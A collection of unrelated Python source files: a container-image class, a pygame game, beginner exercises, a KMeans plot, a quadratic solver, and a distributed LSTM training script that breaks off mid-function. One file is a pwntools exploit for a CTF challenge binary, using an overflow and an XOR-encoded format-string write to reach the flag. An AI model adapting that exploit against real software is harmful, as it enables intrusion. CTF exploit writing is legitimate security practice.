from Atomic.util import Decompose, output_json
from Atomic.discovery import RegistryInspect
from Atomic.objects.layer import Layer
from Atomic.client import no_shaw
import datetime
import math
import numbers

class Image(object): # pylint: disable=eq-without-hash
    def __init__(self, input_name, remote=False, backend=None):

        # Required
        self.remote = remote
        self.name = None
        self.id = None
        self.registry = None
        self.repo = None
        self.image = None
        self.tag = None
        self.repotags = None
        self._created = None
        self.size = None
        self.original_structure = None
        self._backend = backend
        self.input_name = input_name
        self.deep = False
        self._virtual_size = None
        self.cmd = None
        self._command = None
        self.repotags = None
        self._user_command = None
        self.mount_path = None

        # Deeper
        self.version = None
        self.release = None
        self.parent = None
        self.digest = None
        self.labels = None
        self.os = None
        self.arch = None
        self.graph_driver = None
        self.config = {}
        self._fq_name = None

        self._used = False
        self._vulnerable =  False

        self._template_variables_set = None
        self._template_variables_unset = None

        self._instantiate()

    def __gt__(self, other):
        """
        Custom greater than comparison between image objects. This allows you to
        determine if an image object is "newer" than another.

        Looking into other ways to possibly approach this.
        """
        pass

    def __eq__(self, other):
        if self.long_version == other.long_version \
                and None not in [self.long_version, other.long_version] \
                and '' not in [self.long_version, other.long_version]:
            return True
        if getattr(self, 'id') == getattr(other, 'id'):
            return True
        return False

    def __ne__(self, other):
        if self.long_version != other.long_version:
            return True
        return False

    def _instantiate(self):
        self._setup_common()
        return self

    def _setup_common(self):
        # Items common to backends can go here.
        decompose_name = self.input_name
        self.registry, self.repo, self.image, self.tag, self.digest = Decompose(decompose_name).all
        if not self.fully_qualified and self.remote:
            self.registry, self.repo, self.image, self.tag, self.digest = Decompose(self.fq_name).all
        if not self.image:
            raise ValueError('Cannot create image object: no image detected from "{}"'.format(decompose_name))

    def dump(self):
        # helper function to dump out known variables/values in pretty-print style
        class_vars = dict(vars(self))
        foo = {x: class_vars[x] for x in class_vars if not callable(getattr(self, x)) and not x.startswith('__')
               and not x.endswith('_backend')}
        output_json(foo)

    def _to_deep(self):
        return self.backend.inspect_image(self.id)

    @property
    def fq_name(self):
        def propagate(_img):
            if self.remote:
                self.registry, self.repo, self.image, self.tag, self.digest = Decompose(_img).all

        if self._fq_name:
            return self._fq_name

        if self.fully_qualified:
            img = self.registry
            if self.repo:
                img += "/{}".format(self.repo)
            if self.tag:
                img += "/{}:{}".format(self.image, self.tag)
            elif self.digest:
                img += "/{}@{}".format(self.image, self.digest)
            self._fq_name = img
            propagate(self._fq_name)
            return img

        if not self.registry:
            ri = RegistryInspect(registry=self.registry, repo=self.repo, image=self.image,
                                 tag=self.tag, digest=self.digest, orig_input=self.input_name)
            self._fq_name = ri.find_image_on_registry(quiet=True)
            propagate(self._fq_name)
            return self._fq_name

    @property
    def fully_qualified(self):
        return True if all([True if x else False for x in [self.registry, self.image, self.tag or self.digest]]) else False

    @property
    def backend(self):
        return self._backend

    @backend.setter
    def backend(self, value):
        self._backend = value

    @property
    def str_backend(self):
        return self._backend.backend

    def get_label(self, label):
        if self.labels:
            for l in [label, label.lower(), label.capitalize(), label.upper()]:
                if l in self.labels:
                    if self.remote:
                        return self.labels.get(l, None)
                    return self.config['Labels'].get(l, None)
        return None

    def populate_remote_inspect_info(self):
        remote_inspect_info = self.remote_inspect()
        self._created = remote_inspect_info['Created']
        self.name = remote_inspect_info['Name']
        self.os = remote_inspect_info['Os']
        self.digest = remote_inspect_info['Digest']
        self.arch = remote_inspect_info['Architecture']
        self.repotags = remote_inspect_info['RepoTags']
        self.labels = remote_inspect_info.get("Labels", None)
        self.release = self.get_label('Release')
        self.version = self.get_label('Version')
        self.id = remote_inspect_info['id']
        if self.id is not None:
            self.id = no_shaw(self.id)

    def remote_inspect(self):
        ri = RegistryInspect(registry=self.registry, repo=self.repo, image=self.image,
                             tag=self.tag, digest=self.digest, orig_input=self.input_name)
        inspect_info = ri.inspect()
        inspect_info['id'] = ri.remote_id
        return inspect_info

    @property
    def long_version(self):
        _version = ""
        if self.version:
            _version += "{}".format(self.version)
        if self.release:
            if self.version:
                _version += "-"
            _version += "{}".format(self.release)
        return _version

    @property
    def is_dangling_cached(self):
        return self.id in self.backend.get_dangling_images(force_update=False)

    @property
    def is_dangling(self):
        return self.id in self.backend.get_dangling_images(force_update=True)

    @property
    def virtual_size(self):
        size = self._virtual_size or self.size
        if size:
            return convert_size(self._virtual_size)
        return ""

    @virtual_size.setter
    def virtual_size(self, value):
        self._virtual_size = value

    @property
    def split_repotags(self):
        _repotags = []
        if not self.repotags:
            return [('<none>', '<none>')]
        for _repotag in self.repotags:
            if ':' in _repotag:
                repo, tag = _repotag.rsplit(':', 1)
            else:
                repo = tag = ""
            _repotags.append((repo, tag))
        return _repotags

    @property
    def used(self):
        return self._used

    @used.setter
    def used(self, value):
        assert isinstance(value, bool)
        self._used = value

    @property
    def vulnerable(self):
        return self._vulnerable

    @vulnerable.setter
    def vulnerable(self, value):
        assert isinstance(value, bool)
        self._vulnerable = value

    @property
    def short_id(self):
        return self.id[:12]

    @property
    def created(self):
        if (isinstance(self._created, numbers.Number)):
            return str(datetime.datetime.fromtimestamp(self._created))

        return self._created

    @property
    def created_raw(self):
        return self._created

    @created.setter
    def created(self, value):
        self._created = value

    @property
    def type(self):
        return 'image'

    def _get_template_info(self):
        self._template_variables_set, self._template_variables_unset = \
            self.backend.syscontainers.get_template_variables(self.name)

    @property
    def template_variables_set(self):
        if self.backend.backend != 'ostree':
            return self._template_variables_set

        if not self._template_variables_set and not self.template_variables_unset:
            self._get_template_info()

        return self._template_variables_set

    @property
    def template_variables_unset(self):
        if self.backend.backend != ' ostree':
            return self._template_variables_unset

        if not self._template_variables_set and not self.template_variables_unset:
            self._get_template_info()
        return self._template_variables_unset

    @property
    def layers(self):
        layer_objects = []
        # Create the first layer
        layer = Layer(self)
        layer_objects.append(layer)
        while layer.parent:
            layer = self.backend.get_layer(layer.parent)
            layer_objects.append(layer)
        return layer_objects

    @property
    def run_command(self):
        return  self.get_label('RUN')

    @property
    def docker_cmd(self):
        # This is the embedded command in an image
        # i.e. From the Dockerfile, it is CMD
        return self.cmd

    @property
    def user_command(self):
        return self._user_command

    @user_command.setter
    def user_command(self, value):
        self._user_command = value

    @property
    def is_system_type(self):
        if self.get_label('atomic.type') == 'system':
            return True
        return False

def convert_size(size):
    size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
    if size > 0:
        try:
            i = int(math.floor(math.log(size, 1000)))
            p = math.pow(1000, i)
            s = round(size/p, 2) # pylint: disable=round-builtin,old-division
            if s > 0:
                return '%s %s' % (s, size_name[i])
        except TypeError:
            # kpod returns sizes in units already
            for i in size_name:
                if i.upper() in size:
                    return size
    return '0B'


import pygame
import sys

FPS = 60
MAX_WIDTH = 600
MAX_HEIGHT = 400

pygame.init() # 파이게임을 초기화
clock = pygame.time.Clock() # clock을 설정
screen = pygame.display.set_mode((MAX_WIDTH, MAX_HEIGHT)) # 스크린을 설정합니다. 600 x 400 픽셀로 설정

class Player():
    # 객체를 생성할 때 초기화
    def __init__(self, x, y):
        self.x = x
        self.y = y
        self.isJump = False
        self.jumpCount = 10

    # 파란색의 네모를 x, y 좌표에 40x40사이즈로 그림. 반환하는 값은 좌표와 크기
    def draw(self):
        return pygame.draw.rect(screen, (0,0,255), (self.x, self.y, 40, 40))
        # return pygame.draw.circle(screen, (0,0,255), [self.x, self.y], 40)

    # 플레이어의 점프를 구현
    def jump(self):
        if self.isJump:
            if self.jumpCount >= -10:
                neg = 1
                if self.jumpCount < 0:
                    neg = -1
                self.y -= self.jumpCount**2 * 0.7 * neg
                self.jumpCount -= 1
            else:
                self.isJump = False
                self.jumpCount = 10

class Enemy():
    def __init__(self,x,y):
        self.x = x
        self.y = y

    def draw(self):
        return pygame.draw.rect(screen, (255,0,0), (self.x, self.y, 20, 40))

    # 화면의 오른쪽 끝에서부터 왼쪽으로 이동하는 할수
    def move(self,speed):
        self.x = self.x - speed
        if self.x <= 0:
            self.x = MAX_WIDTH

# player의 이름으로 객체를 생성. x좌표는 50 y좌표는 바닥.
# 바닥면으로 붙이기 위해 높이에서 자신의 크기만큼 빼줌. y좌표는 위부터 0
player = Player(50, MAX_HEIGHT - 40)

# enemy의 이름으로 객체를 생성. 시작위치는 오른쪽 끝
enemy = Enemy(MAX_WIDTH, MAX_HEIGHT - 40)

def main():
    # 적의 속도를 초기기로 설정
    speed = 7

    while True:
        # 파이게임의 이벤트를 가져온다.
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                # [X] 버튼을 누르면 종료
                pygame.quit()
                sys.exit()
            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_SPACE:
                    player.isJump = True # 스페이스 키를 입력받으면 점프변수를 참으로 설정

        clock.tick(FPS) # FPS를 설정. 1초에 몇 프레임이 동작할지 결정.
        screen.fill((255, 255, 255)) # 화면을 흰색으로 채운다.

        # 플레이어를 그립니다. 반환하는 값은 좌표와 크기
        player_rect = player.draw()

        # 점프를 구현. player.isJump 변수가 참이어야 동작
        player.jump()

        # 적을 그린다. 적의 위치와 크기를 반환
        enemy_rect = enemy.draw()

        # 속도는 0.01씩 점점 빨리짐
        enemy.move(speed)
        speed = speed + 0.01

        # 플레이어와 적과 출동하면 종료
        if player_rect.colliderect(enemy_rect):
            print("충돌")
            pygame.quit()
            sys.exit()

        pygame.display.update()

if __name__ == '__main__':
    main()


#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('TheNameCalculator')

host = args.HOST or 'chal.noxale.com'
port = int(args.PORT or 5678)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

gdbscript = '''
break *0x080486D5
continue
'''.format(**locals())

# -- Exploit goes here --

def xor(string):
    """
      for ( i = buf; i < (int *)((char *)&buf[-1] + v3); i = (int *)((char *)i + 1) )
        *i ^= 0x5F7B4153u;
    """

    i = 0
    while i + 3 < len(string):
        n = u32(string[i:i+4])
        n ^= 0x5F7B4153
        string = string[:i] + p32(n) + string[i+4:]

        i += 1

    return string

context.terminal = ['gnome-terminal', '-e']
io = start()

io.sendafter('?', "A" * 28 + p32(0x6A4B825))

target = 0x0804A024
flag   = 0x08048596

log.info(hex(target))

byte  = 0x8596
log.info(byte)

arg_offset = 12

payload = "{}%{}x%{}$hnAAAABBBB".format(p32(target), byte - 4, arg_offset)
log.info(payload)

io.sendafter('please', xor(payload))

io.interactive()

# noxCTF{M1nd_7he_Input}


# create a student dictionary storing marks of 3 subjects also print the sum of all marks

'''marksDict = {
    "maths":65,
    "biology":80,
    "physics":75
}
print(sum(marksDict.values()))'''

# merge two dictionaries

myDict1 = {
    "a":60,
    "b":50
}
myDict2 = {
    "c":90,
    "d":30
}
myDict=myDict1.copy()
myDict.update(myDict2)
print(myDict)


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020/6/10 13:59
# @Author : Kai
# @File : __init__.py.py
# @Software: PyCharm

import matplotlib.pyplot as plt
import numpy as np
from sklearn.cluster import KMeans
from sklearn import datasets
from sklearn.datasets import load_iris
iris = load_iris()
X = iris.data[:, 2:4] ##表示我们只取特征空间中的后两个维度
print(X.shape)
#绘制数据分布图
plt.scatter(X[:, 0], X[:, 1], c = "red", marker='o', label='see')
plt.xlabel('petal length')
plt.ylabel('petal width')
plt.legend(loc=2)
estimator = KMeans(n_clusters=3)#构造聚类器
estimator.fit(X)#聚类
label_pred = estimator.labels_ #获取聚类标签
#绘制k-means结果
x0 = X[label_pred == 0]
x1 = X[label_pred == 1]
x2 = X[label_pred == 2]
plt.scatter(x0[:, 0], x0[:, 1], c = "red", marker='o', label='label0')
plt.scatter(x1[:, 0], x1[:, 1], c = "yellow", marker='*', label='label1')
plt.scatter(x2[:, 0], x2[:, 1], c = "blue", marker='+', label='label2')
plt.xlabel('petal length')
plt.ylabel('petal width')
plt.legend(loc=2)
plt.show()


import math

a = eval(input("Digite um número "))
b = eval(input("Digite um número "))
c = eval(input("Digite um número "))

delta = b ** 2 -4 * a * c

if delta < 0:
    print('esta equação não possui raízes reais')
else:
    if delta == 0:
        raiz1 = ((-b + math.sqrt(b ** 2 - 4 * a * c)) / (2 * a))
        print('a raiz desta equação é', raiz1)
    else:
     raiz1 = ((-b + math.sqrt(b ** 2 - 4 * a * c)) / (2 * a))
     raiz2 = ((-b - math.sqrt(b ** 2 - 4 * a * c)) / (2 * a))
     if raiz2<raiz1:
        print("as raízes da equação são", raiz2, "e",raiz1)
     else:
        print("as raízes da equação são", raiz1, "e", raiz2)


#!/usr/bin/env python
# coding: utf-8

# In[1]:

import pandas as pd
import numpy as np
import torch
import seaborn as sns
sns.set()
import matplotlib.pyplot as plt
import Graphs
import networkx as nx
import torch.optim as optim
import os
import pickle as pkl
import argparse
from datetime import timedelta
from tsmoothie.smoother import *
from torch import nn
from torch.utils.data import TensorDataset, DataLoader
from river import preprocessing, compose
from torchsummaryX import summary
from operator import add
from copy import deepcopy
from sklearn.base import BaseEstimator, TransformerMixin
from sklearn.preprocessing import MinMaxScaler
from itertools import islice
from utils import gradient, seed_everything, gap_fn, online_gap, inner_prod, lmo_fn

def testcutoff(week, dataset):
    '''
    Parameters
    ----------
    week : int
        Week to be left for validation
    dataset : DataFrame

    Returns
    -------
    trainidx : DataFrame
        Training Dataframe
    testidx : DataFrame
        Validation DataFrame

    '''
    cutoff = dataset.index.max() - timedelta(weeks=week)
    trainidx = dataset.loc[dataset.index < cutoff]
    testidx = dataset.loc[dataset.index >= cutoff]
    return trainidx, testidx

def MovingAverage(data, window=10):
    rolling = data.rolling(window=window)
    rolling_mean = rolling.mean()
    rolling_mean[:window] = data[:window]
    return rolling_mean

def createXY(dataset, lookback, lookahead, lag, y_feature, step=1):
    '''
    Parameters
    ----------
    dataset : Dataframe
        Data to create X and Y
    lookback : int
        Length of X sequence. Shape (lookback, nb_feature)
    lookahead : int
        Length of Y sequence. Shape (lookahead,)
    lag : int
        Distance between X and Y

    y_feature : str

    Returns
    -------
    X : list
        List of X
    y : list
        List of Y

    '''
    data = dataset.values
    X, y = [], []
    for i in range(0,data.shape[0]-lookahead-lag,step):
        end_idx = i + lookback
        if (end_idx > data.shape[0]) or (end_idx+lag+lookahead > data.shape[0]):
            break
        data_feature = data[i:end_idx]
        data_target = dataset[y_feature][end_idx+lag:end_idx+lag+lookahead]
        data_target = data_target.values
        X.append(data_feature)
        y.append(data_target)
    return X,y

def toDataLoader(dataX, dataY, batch_size, window_len=4,smooth_=True):
    '''
    Parameters
    ----------
    dataX : List
        X from createXY
    dataY : List
        Y from createXY
    batch_size : int
        number of data point for each iterations of dataloader
    window_len : int
        Time window for exponential smoother. The default is 4.
    smooth_ : bool, optional
        The default is True.

    Returns
    -------
    loader : torch.DataLoader
    '''
    batch = len(dataX)
    timestepX = dataX[0].shape[0]
    timestepY = dataY[0].shape[0]
    features = dataX[0].shape[1]
    tensorX, tensorY = torch.empty((batch,timestepX,features)), torch.empty((batch,timestepY))
    for i,x,y in zip(range(batch),dataX,dataY):
        value = x
        recompense = x[:window_len] #first window_len-th element of smoothed data will be NaN.
        if smooth_:
            expSmooth = ExponentialSmoother(window_len=window_len,alpha=0.3)
            expSmooth.smooth(x.T)
            value = expSmooth.smooth_data.T
            value = np.concatenate([recompense,value],axis=0) #replace NaN by original data

        transX = torch.tensor(value, dtype=torch.float32)
        transY = torch.tensor(y, dtype=torch.float32)

        tensorX[i,:] = transX
        tensorY[i,:] = transY

    datawrap = TensorDataset(tensorX,tensorY)
    loader = DataLoader(datawrap,batch_size=batch_size,drop_last=False)
    return loader

class AutoEncoder(nn.Module):
    def __init__(self, input_size, output_encoder, time_step_in, time_step_out):
        super(AutoEncoder, self).__init__()
        self.input_size = input_size
        self.output_encoder = output_encoder
        self.time_step_in = time_step_in
        self.time_step_out = time_step_out
        self.num_layers = 1

        self.encoder = nn.LSTM(self.input_size, self.output_encoder,
                               num_layers=self.num_layers, batch_first=True, bias=True)
        self.decoder = nn.LSTM(self.output_encoder,
                               self.output_encoder, batch_first=True)

        self.dropout = nn.Dropout(0.20)
        #self.batchnorm = nn.BatchNorm1d(self.time_step_in)

        self.LinearCombine = nn.Linear(
            self.input_size + self.output_encoder, 1, bias=False)

        self.linear = nn.Linear(
            self.time_step_in, self.time_step_out, bias=True)
        #self.linear2 = nn.Linear(
        #    self.time_step_out, self.time_step_out, bias=True)

    def forward(self,x):
        #---Encoder---#
        out_en,(h_en,_) = self.encoder(x)
        h_en = h_en.squeeze().unsqueeze(1)
        h_en = h_en.repeat(1,self.time_step_in,1)
        h_en = torch.tanh(h_en)

        #---Decoder---#
        out_de, (h_de,_) = self.decoder(h_en)
        out_de = self.dropout(out_de)

        #---Concatenate Input---#
        concat = torch.cat((out_de,x),dim=-1)
        concat = torch.tanh(concat)
        out = self.LinearCombine(concat)
        out = out.view(-1,self.time_step_in)
        #---MLP---#
        out = torch.sigmoid(out)
        out = self.dropout(out)
        out = self.linear(out)
        return out

class RMSELoss(torch.nn.Module):
    def __init__(self):
        self.eps = 1e-6
        super(RMSELoss, self).__init__()

    def forward(self, x, y):
        criterion = nn.MSELoss()
        loss = torch.sqrt(criterion(x, y) + self.eps)
        return loss

class Oracle:
    def __init__(self, dim, radius_W, t):
        self.oracle_type = t

        self.oracle_name = 'Follow The Perturbed Leader'
        self.G = [torch.zeros(k) for k in dim]
        self.r = radius_W
        self.V = self.lmo_fn()

    def lmo_fn(self):
        res = [0.]*len(self.G)
        for k in range(len(self.G)):
            shape = self.G[k].shape
            if len(shape) == 4:
                myelem = torch.zeros(shape)
                for chan_out in range(shape[0]):
                    for chan_in in range(shape[1]):
                        small_g = self.G[k][chan_out][chan_in]
                        num_rows, num_cols = small_g.shape
                        P = small_g + (-0.5 + torch.randn(*small_g.shape))
                        cols = torch.argmax(torch.abs(P), 1)
                        rows = torch.arange(num_rows)
                        indices = torch.LongTensor([rows.tolist(), cols.tolist()])
                        flatten_P = P.T.flatten()[rows + cols * num_rows]
                        values = -self.r  * torch.sign(flatten_P)
                        res_tmp = torch.sparse.FloatTensor(indices, values, small_g.shape).to_dense()
                        myelem[chan_out][chan_in] = res_tmp
                res[k] = myelem

            elif len(shape)==3:
                myelem = torch.zeros(shape)
                for chan_out in range(shape[0]):
                    small_g = self.G[k][chan_out]
                    num_rows, num_cols = small_g.shape
                    P = small_g + (-0.5 + torch.randn(*small_g.shape))
                    cols = torch.argmax(torch.abs(P), 1)
                    rows = torch.arange(num_rows)
                    indices = torch.LongTensor([rows.tolist(), cols.tolist()])
                    flatten_P = P.T.flatten()[rows + cols * num_rows]
                    values = -self.r  * torch.sign(flatten_P)
                    res_tmp = torch.sparse.FloatTensor(indices, values, small_g.shape).to_dense()
                    myelem[chan_out] = res_tmp

                res[k] = myelem

            elif len(shape)==2:
                small_g = self.G[k]
                num_rows, num_cols = small_g.shape
                P = small_g + (-0.5 + torch.rand(*small_g.shape))
                cols = torch.argmax(torch.abs(P), 1)
                rows = torch.arange(num_rows)
                indices = torch.LongTensor([rows.tolist(), cols.tolist()])
                flatten_P = P.T.flatten()[rows + cols * num_rows]
                values = -self.r  * torch.sign(flatten_P)
                res_tmp = torch.sparse.FloatTensor(indices, values, P.shape).to_dense()
                res[k] = res_tmp

            elif len(shape)==1:
                nb_rows = shape
                P = self.G[k] +  (-0.5 + torch.rand(nb_rows))
                rows = torch.argmax(torch.abs(P))
                s = torch.zeros(nb_rows)
                s[rows] = -self.r * torch.sign(P[rows])
                res[k] = s

        return res

    def update_FTPL(self, fb):
        for k in range(len(self.G)):
            self.G[k] = self.G[k] + fb[k]
        self.V = self.lmo_fn()

    def update(self, fb):
        self.update_FTPL(fb)

# In[8]:

class DMFW(optim.Optimizer):

    def __init__(self, params, eta_coef, eta_exp, reg_coef, L,oracle_type, radius, loss_function,
                 adjacency_matrix_line):
        defaults = dict(eta_coef=eta_coef,eta_exp = eta_exp,reg_coef = reg_coef, L=L)
        super(DMFW, self).__init__(params, defaults)

        self.num_layers = len(self.param_groups[0]['params'])
        self.A = adjacency_matrix_line
        self.init_weights = self.param_groups[0]['params']
        #print(self.init_weights)
        self.loss_function = loss_function
        self.radius = radius

        for group in self.param_groups:
            self.eta_coef = group['eta_coef']
            self.eta_exp = group['eta_exp']
            self.reg_coef = group['reg_coef']
            self.L = group['L']

        self.dim = [k.shape for k in self.param_groups[0]['params']]
        self.Ws = [[torch.zeros(k.shape, requires_grad=True) for k in self.param_groups[0]['params']]
                   for l in range(self.L+1)]
        self.Ws[0] = self.init_weights#[torch.zeros(k, requires_grad=True) for k in self.dim]#self.init_weights

        self.oracles = [Oracle(self.dim,radius,'FTPL') for l in range(self.L)]

    def resetWs(self, param):
        self.Ws = [[torch.zeros(k.shape, requires_grad=True) for k in self.param_groups[0]['params']]
                   for l in range(self.L+1)]
        self.Ws[0] = param #[torch.zeros(k, requires_grad=True) for k in self.dim]#param
        self.curr_as = [torch.zeros(k.shape, requires_grad=True) for k in self.param_groups[0]['params']]

    def networkAverage(self,l,weight=True):
        if weight:
            weighted_sum = []
            for k in range(self.num_layers):
                weighted_tmp = torch.zeros(self.init_weights[k].shape)
                for j in range(self.num_nodes):
                    weighted_tmp += self.A[j]*self.neighbors[j].Ws[l][k]
                weighted_sum.append(weighted_tmp)
        else:
            weighted_sum = []
            for k in range(self.num_layers):
                weighted_tmp = torch.zeros(self.init_weights[k].shape)
                for j in range(self.num_nodes):
                    weighted_tmp += self.A[j]*self.neighbors[j].grad[l][k]
                weighted_sum.append(weighted_tmp)
        return weighted_sum

    @torch.no_grad()
    def step(self,neighbors, l, closure=None):
        self.num_nodes = len(neighbors)
        self.neighbors = neighbors

        eta = min(self.eta_coef/((l+1)**self.eta_exp),1)
        network_val = self.networkAverage(l,weight=True)
        for k in range(self.num_layers):
            self.Ws[l+1][k] = network_val[k] + eta * (self.oracles[l].V[k] -
                                                                    network_val[k])
            if self.Ws[l+1][k].grad is not None:
                self.Ws[l+1][k].grad.zeros_()

            self.Ws[l+1][k] = self.Ws[l+1][k].detach().clone().requires_grad_(True)

    def assignWeight(self, model, state):
        with torch.no_grad():
            for (name,param),ele in zip(model.named_parameters(),state):
                param.copy_(nn.Parameter(ele))
        return model

    @torch.enable_grad()
    def gradient(self,loss, weight, grad_outputs=None):
        if grad_outputs is None:
            grad_outputs = torch.ones_like(loss)
        grad = torch.autograd.grad(loss, weight, grad_outputs = grad_outputs, create_graph=True)
        return grad

    def computeGrad(self, model, weight, dataX, dataY):
        model_tmp = self.assignWeight(model, weight)
        for param in model_tmp.parameters():
            if param.grad != None:
                param.grad.zero_()
                param.requires_grad_(True)
        x,y = dataX, dataY#iter(data).next()
        output = model_tmp(x)
        loss_tmp = self.loss_function(output, y)
        #loss_tmp.backward()
        grad_val = self.gradient(loss_tmp, list(model_tmp.parameters()))
        return grad_val

    def initGrad(self, model, dataX,dataY):
        self.grad = [[torch.zeros(k.shape) for k in self.param_groups[0]['params']]
                     for l in range(self.L+1)]
        modeltmp = deepcopy(model)
        self.grad[0] = self.computeGrad(model, self.Ws[0], dataX,dataY)

    def updateAs(self, ds, l):
        tmp = [(2/(l+1)**(2/3))*(m-n) for m,n in zip(ds,self.curr_as)]
        self.curr_as = list(map(add,tmp, self.curr_as))

    def updateOracle(self,model,dataX,dataY,l,stochastic=False):
        model1 = deepcopy(model)
        model2 = deepcopy(model)

        curr_ds = self.networkAverage(l, weight=False)
        reg_ds = [x*self.reg_coef for x in curr_ds]

        if stochastic:
            self.updateAs(curr_ds,l)
            reg_as = [self.reg_coef*x for x in self.curr_as]
            self.oracles[l].update(reg_as)
            grad_tmp1 = self.computeGrad(model1,self.Ws[l+1], dataX,dataY)
            grad_tmp = [e1 - e2 for e1, e2 in zip(grad_tmp1, self.grad[l])]
            self.grad[l+1] = list(map(add,grad_tmp, self.curr_as))
        else :
            self.oracles[l].update(reg_ds)
            grad_tmp1 = self.computeGrad(model1,self.Ws[l+1], dataX,dataY)
            grad_tmp = [e1 - e2 for e1, e2 in zip(grad_tmp1, self.grad[l])]
            self.grad[l+1] = list(map(add,grad_tmp, curr_ds))

def loadPickle(filepath):
    with open(filepath,"rb") as f:
        file = pkl.load(f)
    return file

def savePickle(filepath,obj):
    with open(filepath,"wb") as f:
        pkl.dump(obj, f)

class Trainer:
    def __init__(self, graph, dataroom1, model_name, model_arguments, loss, iterations, print_freq):
        self.graph = graph
        self.num_nodes = graph.number_of_nodes()
        self.model_name = model_name
        self.model_arguments = model_arguments
        self.A = torch.tensor(nx.adjacency_matrix(graph).toarray())
        self.data1 = dataroom1
        #self.data2 = dataroom2
        #self.data3 = dataroom3
        self.num_iterations = iterations
        self.loss = loss
        self.print_freq = print_freq
        self.obj_values = np.ndarray(
            (int(np.round(self.num_iterations / self.print_freq)) + 1, 4),
            dtype='float')

        self.optimizers = [0.] * self.num_nodes
        self.models = [0.] * self.num_nodes
        self.gaps = [0.] * self.num_nodes

    def reset(self):
        self.optimizers = [0.]*self.num_nodes
        self.models = [0.]*self.num_nodes
        self.losses = [0.]*self.num_nodes
        self.valid_losses=[0.]*self.num_nodes
        self.gaps = [0.]*self.num_nodes

        self.obj_values = np.ndarray(
            (int(np.round(self.num_iterations / self.print_freq)) + 1,2),
            dtype='float')

    def nodeInit(self, datalist,stochastic = False,minibatch=False):
        nodes = {}
        for i in range(self.num_nodes):
            nodewrap = TensorDataset(datalist[i][0],datalist[i][1])
            #print(datalist[i][0].shape)
            if stochastic==True:
                if minibatch:
                    nodes[i] = DataLoader(nodewrap, batch_size=int(torch.randint(1,datalist[i][0].shape[0],size=(1,1))), shuffle=True)
                else :
                    nodes[i] = DataLoader(nodewrap, batch_size=1,shuffle=True)
            else:
                 nodes[i] = DataLoader(nodewrap, batch_size=datalist[i][0].shape[0])
        return nodes

    def weight_reset(self,layer):
        if isinstance(layer, nn.LSTM) or isinstance(layer, nn.Linear):
            layer.reset_parameters()

    def assignWeight(self, model, state):
        with torch.no_grad():
            for (name,param),ele in zip(model.named_parameters(),state):
                param.copy_(nn.Parameter(ele))
        return model

    def saveCheckPts(self,t,weight,path):
        check_pts = {}
        for i in range(self.num_nodes):
            ckp_i = {"t":t,
                    "weight":weight[i],
                    "oracles":[self.optimizers[i].oracles[l].G for l in range(self.optimizers[i].L)],
                    "loss": self.losses[i]}#,
                    #"avg_loss": self.avg_loss[i]}
            check_pts[i] = ckp_i
        torch.save(check_pts, path + "checkpts_models" + ".tar")

    def saveModel(self,path_to_save):
        model = self.model_name(*self.model_arguments)
        torch.save(model, path_to_save + "model_architecture.pt")
        for i in range(self.num_nodes):
            torch.save(self.models[i].state_dict(), path_to_save + "model_state_dict_"+str(i)+".pt")

    def loadCheckPts(self,path):
        self.checkpts = torch.load(path)

    def saveOutput(self, obj,path,name):
        np.savetxt(path + name, obj, delimiter=",")

    def tensorScaling(self,X,y, scalerX, scalerY):
        toPdX = pd.DataFrame(X.view(X.shape[0]*X.shape[1],X.shape[2]).numpy())
        toPdy = pd.DataFrame(y.view(y.shape[0]*y.shape[1],1).numpy())
        scalerX.learn_many(toPdX)
        scalerY.learn_many(toPdy)
        Xscaled = scalerX.transform_many(toPdX)
        yscaled = scalerY.transform_many(toPdy)
        tensorX = torch.tensor(Xscaled.values, dtype=torch.float32).view(X.shape[0],X.shape[1],X.shape[2])
        tensory = torch.tensor(yscaled.values, dtype=torch.float32).view(y.shape[0], y.shape[1])
        return tensorX, tensory

    def train(self, optimizer, L, eta_coef, eta_exp, reg_coef, oracle_type, radius,
              lookback, lookahead, batch_size, lag, smooth_, valid_cutoff, yfeat,
              path_to_data1, path_to_data2, path_to_data3, path_checkpts,
              path_to_save, continue_training = False, stochastic=False, minibatch=False):
        '''

        Parameters
        ----------
        optimizer : Object
            Optimizer class
        L : int
            Number of linear oracles
        eta_coef : float
        eta_exp : float
        reg_coef : float
        oracle_type : string
            type of oracle
        radius : int
            Raidus of linear oracle
        lookback : int
            Length of X sequence
        lookahead : int
            Length of Y sequence
        batch_size : int
            Batch to load for each iterations
        lag : int
            Distance between X and Y
        smooth_ : bool
            Whether to use smoother
        valid_cutoff : int
            Number of week to be left for validation
        yfeat : str
            Feature to learning
        path_to_data1 : str
            Path to data for node 1 (Babbage)
        path_to_data2 : str
            Path to data for node 2 (Babyfoot)
        path_to_data3 : str
            Path to data for node 3 (Jacquard)
        path_checkpts : str
            Path to checkpoint. For the first run, this value will be None
        path_to_save : str
            Path to save checkpoint
        continue_training : Bool, optional
            Indicate if the training is a continuation from the last checkpoint or not. The default is False.
        stochastic : Bool, optional
            Use stochastic algorithm (Let it be False for now). The default is False.
        minibatch : Bool, optional
            Use minibatch if stochastic is True (Let it be False for now). The default is False.

        Raises
        ------
        AttributeError
            If checkpoints is not defined

        Returns
        -------
        Wnew : List
            Learned Weights
        loss_list : list
            Loss values

        '''

        if not os.path.exists(path_to_save):
            os.makedirs(path_to_save)

        seed_everything()
        self.reset()
        loss_list = []
        gap_list = []
        lossvalid_list = []
        scalerX = preprocessing.StandardScaler()
        #scalerY = preprocessing.StandardScaler()

        for i in range(self.num_nodes):
            self.models[i] = self.model_name(*self.model_arguments)
            self.optimizers[i] = optimizer(self.models[i].parameters(),
                                                    eta_coef,
                                                    eta_exp,
                                                    reg_coef,
                                                    L,
                                                    oracle_type,
                                                    radius,
                                                    self.loss,
                                                    self.A[i])

        if continue_training:
